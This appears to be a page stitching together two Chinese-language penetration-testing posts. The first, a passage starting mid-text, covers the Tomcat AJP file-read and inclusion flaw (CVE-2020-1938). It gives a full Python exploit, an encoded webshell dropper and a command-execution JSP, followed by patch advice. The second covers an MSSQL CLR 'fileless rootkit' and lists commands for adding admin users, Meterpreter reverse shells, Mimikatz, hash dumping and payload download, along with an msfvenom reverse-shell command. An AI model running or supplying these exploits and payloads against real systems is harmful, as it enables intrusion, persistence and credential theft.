AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel 七、漏洞分析 1.漏洞成因分析: tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。 如下图: tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性 如下图: 因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性 javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path 然后封装成对应的request之后,继续走servlet的映射流程如下图所示: 其中具体的映射方式就简略了,具体可以自己查看代码. 2.利用方式: (1)、利用DefaultServlet实现任意文件下载 当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图 通过serveResource方法来获取资源文件 通过getRelativePath来获取资源文件路径 然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。 (2)、通过jspservlet实现任意后缀文件包含 当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图: 控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce. 八、漏洞复现 1.环境的准备 (1).windows下漏洞复现环境准备,这里以tomcat-8.5.32为例。 https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip (2)、安装jdk并配置JDK环境 (3)、然后启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat 2.漏洞复现利用 (1)、任意文件读取(这里可以读取webapps目录下的任何文件) root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/ root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt 2.任意文件包含:(这个有点鸡肋,需要上传要包含的文件内容) (1)、先上传需要包含的JSP文件代码,这里是冰蝎小马(test.txt) 下面是将test.txt文件上传到ROOT目录下(这里为了漏洞演示,我直接将文件上传到该目录下,在实际的环境中,可以通过文件上传漏洞,上传txt文件结合利用漏洞) test.txt文件内容: <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0"> <jsp:directive.page contentType="text/html" pageEncoding="utf-8"/> <jsp:directive.page import="java.io.*"/> <jsp:directive.page import="sun.misc.BASE64Decoder"/> <html><head><title>fuck</title></head> <body bgcolor="#ffffff"> //mima:pass <jsp:scriptlet><![CDATA[ String realPath = request.getRealPath(request.getRequestURI()); String dir=new File(realPath).getParent(); String strPath = dir+"/t00ls.jspx"; File strFile = new File(strPath); boolean fileCreated = strFile.createNewFile(); Writer jspx = new BufferedWriter(new FileWriter(strFile)); String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4="; String str = new String((new BASE64Decoder()).decodeBuffer(tmp)); String eStr = java.net.URLDecoder.decode(str); jspx.write(eStr); jspx.flush(); jspx.close(); out.println(strPath); ]]></jsp:scriptlet> </body> </html> </jsp:root> (2)、测试可以直接访问test.txt http://192.168.1.9:8080/test.txt (3)、需要对poc进行修改,将包含"/asdf "修改为"/asdf.jspx" https://github.com/backlion/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py 其修改后的代码如下: #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length+1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request('/asdf.jspx',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ]) print('----------------------------') print("".join([d.data for d in data])) (4)、输入以下命令可文件包含执行,最终在root目录下生成一个后门文件t00ls.jspx root@kali2019:/opt# python cve-2020-10487.py 192.168.1.9 -p 8009 -f test.txt 3.任意文件包含的另一种方法 (1)、也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改) exec.txt内容如下: <%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%> (2)、测试可以正常访问上传的文件 http://192.168.1.9:8080/exec.txt (3)、然后输入以下命令,可以任意文件包含执行系统命令 root@kali2019:/opt# python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1 九、漏洞修复建议 Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。 1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" /> 2、配置ajp配置中的secretRequired跟secret属性来限制认证 3、官方下载最新版下载地址: https://tomcat.apache.org/download-70.cgi https://tomcat.apache.org/download-80.cgi https://tomcat.apache.org/download-90.cgi https://github.com/apache/tomcat/releases 十、参考链接 https://github.com/0nise/CVE-2020-1938 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner https://mp.weixin.qq.com/s/NM1E91I6tDwpuGi3H4gATw https://mp.weixin.qq.com/s/M6CK9Bk7MJI2NSLEiVoBjQ https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ https://blog.csdn.net/csacs/article/details/104427197
  8. 0x00 前言 在本文中,我们将处理一个很长时间以来一直待解决的问题:MSSQL Rootkit。到目前为止,针对MS-SQL所描述的大多数命令执行都是调用“ xp_cmdshell ”和“ sp_OACreate ”存储过程的。因此,如果在没有xp_cmdshell和sp_OACreate存储过程的MSSQL服务器上拥有“ sa ”帐户或任何具有“ sysadmin ”权限的用户帐户,我们是否将停止渗透该系统? 当然,我们不应该放弃。在本文中将介绍如何获取具"xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”的sysadmin权限的帐户. WarSQLKit Github: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit 此工具用于捕获具有“系统管理员权限”和“ xp_cmdshell”,“ sp_OACreate”,“ sp_OAMethod”等权限的帐户。 WarSQLKit命令示例: EXEC sp_cmdExec 'whoami'; => Any Windows command EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\SYSTEM rights EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir) EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir) EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir) EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\SYSTEM, RC4PASSWORD=warsql EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with NT AUTHORITY\SYSTEM EXEC sp_cmdExec 'sp_Mimikatz'; select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :) EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'; => Download File EXEC sp_cmdExec 'sp_getSqlHash'; => Get MSSQL Hash EXEC sp_cmdExec 'sp_getProduct'; => Get Windows Product EXEC sp_cmdExec 'sp_getDatabases'; => Get Available Database WarSQLKit.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/WarSQLKit.dll WarSQLKit_Compressed.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKit/bin/Debug/Confused/WarSQLKit.dll WarSQLKitMinimal.dll: https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit/raw/master/WarSQLKitMinimal/bin/Debug/WarSQLKitMinimal.dll Meterpreter CSharp (C#) Shellcode: https://github.com/EPICROUTERSS/Build-Meterpreter-CSharp-Shellcode Meterpreter CSharp(C#)Base64编码的Shellcode:https://github.com/EPICROUTERSS/Build-Encoded-Meterpreter-C-Shellcode OSCMDEXEC_CLR: https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_clr.sql 0x01 什么是CLR CLR(公共语言运行库)提供了.NET Framework的命令执行环境,该环境在MSSQL Server 2005中可运行,同时也可以在MSSQL Server 2016中运行。换言之,它使我们能够通过MSSQL处理和运行.NET Framework对象。可以使用MSSQL CLR导入任何.NET DLL或使用T-SQL执行命令。 0x02 什么是基于CLR的DLL 基于CLR的DLL文件;MsSQL 的 C#、VB.NET等。使用其中一种 .NET 语言,存储过程允许 T-SQL 语句在 .NET 框架中运行,如触发器等。有了它可创建一个基于DLL的CLR,可以通过将存储过程或类似的 T-SQL 语句从 MSSQL 发送 DLL 文件来使这些语句正常执行。我想,如果可以通过MSSQL运行任何.NET对象,那么我就可以在操作系统上运行任何我想要运行的代码。事实上,进一步来说,可利用.NET的全部功能来构建自己的rootkit。那么,我们如何做到这一点呢? 0x03 创建基于CLR的DLL 首先,我们将从Visual Studio创建一个项目。我们转到“新建项目”>“ SQL Server”>“ SQL Server数据库项目”。 创建我们的项目后,右键单击并选择添加>新建项目> SQL CLR C#> SQL CLR C#存储过程。 这些步骤之后,基于CLR的DLL现在已准备就绪。现在我们可以开始编译了。 0x04 DLL命令处理程序 我们需要编写一种方法来处理从存储过程到 DLL 的命令。创建此参数的原因是我们必须运行通过 MSSQL 传输的操作系统命令。 我定义了一个静态方法,称为"cmdExec",带有"cmd"参数。此静态方法中的命令将传输到"RunCommand"静态方法。这允许我们运行作为输入发送的命令,通过进程及其参数并返回结果。 使用发送到RunCommand方法的命令,我们从Process()类创建一个进程,并通过cmd.exe运行该进程,然后通过MSSQL将输出返回给我们。 0x05 程序集 - 存储过程 - 可信关系 使用SQL CLR C#存储过程,我们创建了.NET DLL的基本版。但是,仅dll无法正常运行。我们需要通过T-SQL在MSSQL中注册DLL来创建存储过程。并同时允许通过MSSQL来创建和执行基于CLR的DLL。默认情况下,MSSQL Server 2016不运行基于CLR的DLL文件,它已被禁用。我们使用以下代码来更改此设置。 sp_configure 'clr enabled', 1 GO RECONFIGURE GO 通过上面的代码,我们启用了“ clr enabled ”参数。完成此过程后,可以将我们的 DLL 文件作为程序集添加到 MSSQL。 为了确认可信任关系; 确保将MSSQL数据库中的数据库标记为安全。标记为安全的数据库可以访问对象,网络和进程资源。通过Trustworthy,我们可以使用以下代码将数据库标记为安全。 ALTER DATABASE master SET TRUSTWORTHY ON; 完成此过程后,我们需要将DLL文件作为程序集引入到MSSQL中。这是最重要的一部分。有3种不同的方法来在MSSQL中定义程序集(.NET DLL)。因此,我们可以使用3种不同的方法将我们创建的DLL文件加载到数据库中。 a.DLL 文件作为字节流加载到 MSSQL 我们可以将创建的DLL文件作为字节流加载到MSSQL中。为此,我们需要使用File.ReadAllBytes()类调用在另一个项目中创建的DLL文件 我读取了在单独的项目字节流类型中创建的DLL文件,并将其输出到byteStream.txt中。现在,我们有了DLL文件的字节流。使用此字节流,我们可以将DLL注册到程序集中,而无需在MSSQL中加载任何DLL。为此,我们将需要执行一些SQL语句。 注意:使用此方法,我们仅将 DLL 文件保存为数据流,而无需在 MSSQL 中创建任何 DLL 文件。这样,我们的 Rootkit 将完全无文件执行。 CREATE ASSEMBLY sp_cmdExec FROM 0x4D5A90000300000004000000FFFF0000B800000000000 WITH PERMISSION_SET = UNSAFE GO 使用CREATE ASSEMBLY创建一个名为“ sp_cmdExec”的程序集。然后,使用FROM命令选择要输出到文件的字节流。这里要注意的最重要的一点是:在我们输出到文本文件的字节流的开头没有“ 0xbasında”。当将视频流粘贴到我们的文本文件中时,它将无法正常运行。因此,在写入0x之后,我们将字节流粘贴到文本文件中。使用PERMISSION_SET = UNSAFE参数,我们指定DLL可以访问不安全的资源(也就是说,我们将仅运行sql和t-sql语句)。如果我们将SAFE参数设置为参数并尝试执行CMD命令,则将抛出错误“ System.Security.HostProtectionException cak”,而我们的cmd命令将无法正常执行。 如上图所示,SAFE仅处理数据库。EXTERNAL_ACCESS允许我们访问文件,注册表和网络。UNSAFE允许我们访问本机DLL,COM DLLS对象和其他不安全资源。 b.使用SQL Server Management Studio将DLL文件转换为MSSQL 还可以将在SQL Server Management Studio中创建的DLL文件注册到MSSQL。为此,让我们通过Management Studio管理MSSQL。 在数据库中,访问系统数据库和主数据库。然后从“可编程性”菜单中右键单击“Assembly”,然后选择“New Assembly”。 你可以通过从浏览菜单中选择我们创建的DLL文件来注册我们的DLL。完成此过程后,可以看到我们的DLL已添加到“程序集”菜单中。 从上面的截图中可以看出,名为WarSQLKit 的DLL文件已保存到程序集中。 c.服务器中的目录调用DLL CREATE ASSEMBLY sp_cmdExec FROM 'C:\ProgramData\WarSQLKit.dll' WITH PERMISSION_SET = UNSAFE GO 如果我们通过任何其他方式将DLL加载到MSSQL服务器上,我们也可以从目录中调用DLL。一旦加载了DLL文件,我们就可以将其从服务器中删除。即使我们从服务器中删除DLL,我们的程序集也将继续运行。 在程序集中注册DLL后,使用3种方法中的任何一种,我们可以调用在DLL中创建的CmdExec静态方法,或发送一个过程调用。为此,我们最终需要一个存储过程。使用以下命令,我们可以创建我们的存储过程。 CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec GO 现在我们都准备好了,让我们开始运行命令。更详细的是CREATE PROCEDURE命令“ sp_cmdExec”创建了一个名为sp_cmdExec的存储过程。现在,我们将使用“ sp_cmdExec”而不是“ xp_cmdshell”. 我们还使用@Command [nvarchar](4000)定义了命令参数。由于Nvarchar最多支持4000个字符,因此我们可以运行或显示4000个字符的命令。我们将调用WarSQLKit,使用EXTERNAL NAME参数创建的DLL的命名名称,名为StoredProcedures的公共部分类以及名为CmdExec的公共静态void方法。 0x06 运行Windows命令 EXEC sp_cmdExec'net user'; #列出Windows本地用户列表。我们不再需要像xp_cmdshell和sp_OACrate这样的存储过程。我们可以将所有已知的Windows命令发送到操作系统。 0x07 C#-兼容MSSQL的Meterpreter ShellCode 到目前为止,我们所做的与基本的xp_cmdshell执行没什么不同。现在我们可以切换到rootkit部分。在上文中我已提到过我们可以在MSSQL中使用.NET Framework的功能。因此,我们需要稍微修改一下DLL文件,然后将Meterpreter Shellcode嵌入到其中。因此,我们可以使用在sp_cmdExec存储过程中定义的参数来获得Meterpreter会话。 通过从Kali操作系统访问终端屏幕的msfvenom命令来创建与csharp兼容的shellcode。为此,我们可以使用以下命令。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=4444 EXITFUNC=none -f csharp --platform windows 我们创建的与csharp兼容的shellcode将是323个字节的代码。要编译和运行Meterpreter代码,我们需要向DLL中添加一个新类。我创建了一个名为MeterpreterBuilder的类。我们为此类定义了一个名为SaveReverseMeterpreter()的公共void方法。在此方法中,我们定义了运行shellcode的条件要求。 然后,我们在MeterpreterBuilder类中全局定义以下参数。 本文中已经准备好我们运行的Shellcode。当我们想直接通过sp_cmdExec运行它时,我们有两个问题需要解决。1. MSSQL(sqlservr.exe)不允许我们运行此Shellcode。2.每次我们从msfvenom生成csharp shellcode并更新我们的DLL时,都会给我们带来很大的麻烦。因此,我们需要首先解决这些问题。 若要运行Shellcode,我们需要使用.NET Framework的内置编译器(无需Visual Studio)以exe形式构建代码,并将其作为单独的进程运行。由于我们不能每次都处理msfvenom和shellcode,因此需要通过定义字符串ip和字符串端口参数并使用存储过程中的IP-port参数更新shellcode来编译SaveReverseMeterpreter()方法。对于步骤1,您可以阅读标题为"使用.NET Framework( 不戴Visual Studio)C语言的部分。在步骤2中,我们将方法更新为publicstaticvoid SaveReverseMeterpreter(字符串ip,字符串端口)。。现在,SaveReverseMeterpreter方法将在调用时提示我们输入IP和端口。我们将根据输入的IP和端口信息更新shellcode。我们可以为此使用以下代码。 var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port); 我们根据“ ...”分割作为参数发送的IP 。然后将IP分配给4个八位位组。通过为每个八位位组定义一个字节类型变量,我们将以Convert.ToByte作为字符串的IP八位位组转换为字节型。 我们为端口执行的过程有些不同。我们将端口解析为Int32。原因是该端口仅包含数字。没有标点符号。此外,端口可以对应于大于256的数字。因此,如果将端口定义为4444,则Meterpreter在shellcode中将具有2个字节的值,因为它大于256。由于我们不知道要设置哪个端口号,因此我们将通过查看端口号的大小来决定应设置哪个数字。 byte port1Byte = 0x00; #我定义了2个字节的0x00。 byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); } 